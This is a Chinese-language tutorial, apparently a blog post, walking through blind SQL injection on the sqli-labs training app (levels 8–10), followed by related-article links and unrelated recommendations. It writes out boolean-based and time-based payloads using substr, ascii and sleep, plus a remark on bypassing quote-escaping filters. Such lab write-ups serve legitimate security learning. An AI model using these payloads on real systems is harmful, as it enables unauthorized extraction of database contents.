第八关:

没有查询信息,输入id=1' 报错 ,也没有报错信息,这里应该是个盲注

使用boolean的盲注吧

先判断boolean的盲注可行

输入id=1' and '1'='1' %23 页面正常

输入id=1' and '1'='2' %23 页面出错

有几个mysql内置的函数需要记住:

length(str):返回str字符串的长度。

substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
 ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
 
盲注需要一个字符一个字符的来判断,必须如先判断当前的数据库名的第一个字符是什么(可以使用sqlmap或脚本)
输入?id=1' and ascii(substr((select database()),1,1))>104 %23   发现程序不报错

?id=1' and ascii(substr((select database()),1,1))>200 %23

 

说明数据库名的第一个字符的ascii码在104到200之间 ,继续用二分法找出这个字符的具体ascii码以及之后的数据库名的各个字符。

第九关:

这里输入?id=1'  ?id=1"页面都没有变化,说明之前的注入方法都没用,包括boolean型盲注也都不行了。

尝试基于时间的盲注,这里需要介绍一个mysql内置的函数sleep(5)  表示执行这个函数时会延迟5秒。(每种数据库都有各自延时函数)

可以用F12看下网站处理这个请求正常需要的时间

输入?id=1

需要一秒左右的时间

输入id=1' and sleep(5) %23

处理这个请求用了6秒,说明程序执行了and后面的sql语句,只是没有数据显示而已。

后面和流程和boolean型盲注就有点类似了

输入 id=1' and if(ascii(substr((select database()),1,1))>64,sleep(5),0) %23

成功延迟了,说明当前数据库名的第一个字符的ascii码是大于64的。

后面的流程就和boolean一样了,没什么好讲的了,时间问题。

第十关:

这题也是个基于时间的盲注,但是输入?id=1' and sleep(5) %23后没有延迟,这个时候还是应该先尝试下 ?id=1" and sleep(5) %23 以及?id=1") and sleep(5) %23

如果都不延迟,则可能是不存在注入。尝试发现?id=1" and sleep(5) %23 会延迟,则说明后台是使用双引符号进行拼凑。

---------------------------------------补充----------------------------------------

这里需要补充一下,如果是注入参数是int类型的,使用基于时间的盲注将无视daddslashes这些过滤函数,因为并不需要使用单双引符号!

sqli-labs(五)——盲注(boolean盲注以及时间盲注)的更多相关文章

  1. SQL注入之Sqli-labs系列第九关和第十关(基于时间盲注的注入)

    开始挑战第九关(Blind- Time based- Single Quotes- String)和第十关( Blind- Time based- Double Quotes- String) gog ...

  2. SQL注入之Sqli-labs系列第十五关和第十六关(基于POST的时间盲注)

    开始挑战第十五关(Blind- Boolian Based- String)和 第十六关(Blind- Time Based- Double quotes- String) 访问地址,输入报错语句 ' ...

  3. MySQL时间盲注五种延时方法 (PWNHUB 非预期解)

    转自cdxy师傅:https://www.cdxy.me/?p=789 PWNHUB 一道盲注题过滤了常规的sleep和benchmark函数,引发对时间盲注中延时方法的思考. 延时函数 SLEEP ...

  4. WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注

    1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...

  5. sql布尔盲注和时间盲注的二分脚本

    布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...

  6. sqli-labs less8-10(布尔盲注时间盲注)

    less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...

  7. ctfhub技能树—sql注入—时间盲注

    打开靶机 查看页面信息 测试时间盲注 可以看到在执行命令后会有一定时间的等待,确定为时间盲注 直接上脚本 1 #! /usr/bin/env python 2 # _*_ coding:utf-8 _ ...

  8. zzcms8.2#任意用户密码重置#del.php时间盲注#复现

    00x0 引言 早上起来,发现seebug更新了一批新的洞, 发现zzcms8.2这个洞好多人在挖,于是我就默默的踏上了复现之路(要不是点进去要买详情,我何必这么折腾~) 环境:zzcms8.2(产品 ...

  9. 依托http-headers的 sql注入和时间盲注

    机缘巧合接触了一点关于sql注入的网络安全问题 依托 headers 的 sql 注入 一般来说大家都很清楚用户输入的危险性,通常会对用户表单提交的数据进行过滤(引号转码). 但是如果写过网络爬虫,那 ...

  10. 实验吧之【who are you?】(时间盲注)

    地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php 这道题点开看见your ip is :xxx.xxx.xx.xxx 试了一些 最后发现是XFF ...

随机推荐

  1. [No0000146]深入浅出图解C#堆与栈 C# Heap(ing) VS Stack(ing)理解堆与栈3/4

    前言   虽然在.Net Framework 中我们不必考虑内在管理和垃圾回收(GC),但是为了优化应用程序性能我们始终需要了解内存管理和垃圾回收(GC).另外,了解内存管理可以帮助我们理解在每一个程 ...

  2. 最详细最全的redis配置文件解释

    转载自:http://www.cnblogs.com/zhang-ke/p/5981108.html #redis.conf# Redis configuration file example.# . ...

  3. /etc/apt/sources.list" E212: Can't open file for writing解决方案

    :w !sudo tee % > /dev/null 解决.

  4. 网关 整理 fastcgi wsgi

    https://www.cnblogs.com/hzhtracy/p/4365938.html 网关协议学习:CGI.FastCGI.WSGI.uWSGI   一直对这四者的概念和区别很模糊,现在就特 ...

  5. Page14:状态观测器[Linear System Theory]

    内容包含状态观测器设计分类及其特点 状态观测器设计与状态反馈之间的关系问题 带补偿器动态输出反馈与带状态观测器的状态反馈等价原理 由于第二部分频域部分较为简单,因此仅整理时间域部分

  6. iOS之分类(category)

    1.分类(category)的作用 1.1作用:可以在不修改原来类的基础上,为一个类扩展方法.1.2最主要的用法:给系统自带的类扩展方法. 2.分类中能写点啥? 2.1分类中只能添加“方法”,不能增加 ...

  7. Java8 in action

    解决的问题: behavior parameterization,即可以把一段code,逻辑作为参数传入: 这样做的目的,当然为了代码抽象和重用,把变化的逻辑抽象出去: 在java中,如果要实现beh ...

  8. 半屏控制器,view: UIViewController+KNSemiModal

    半屏控制器,view:  UIViewController+KNSemiModal https://github.com/kentnguyen/KNSemiModalViewController

  9. 五、Docker

    1.简介 Docker是一个开源的应用容器引擎:是一个轻量级容器技术: Docker支持将软件编译成一个镜像:然后在镜像中各种软件做好配置,将镜像发布出去,其他使用者可以直接使用这个镜像: 运行中的这 ...

  10. 对CountDownLatch的初步学习

    CountDownLatch的中文翻译为"闭锁",在JDK1.5中 CountDownLatch类加入进来.为程序猿进行并发编程提供有利的帮助. 首先我们先看看JDK文档中对于Co ...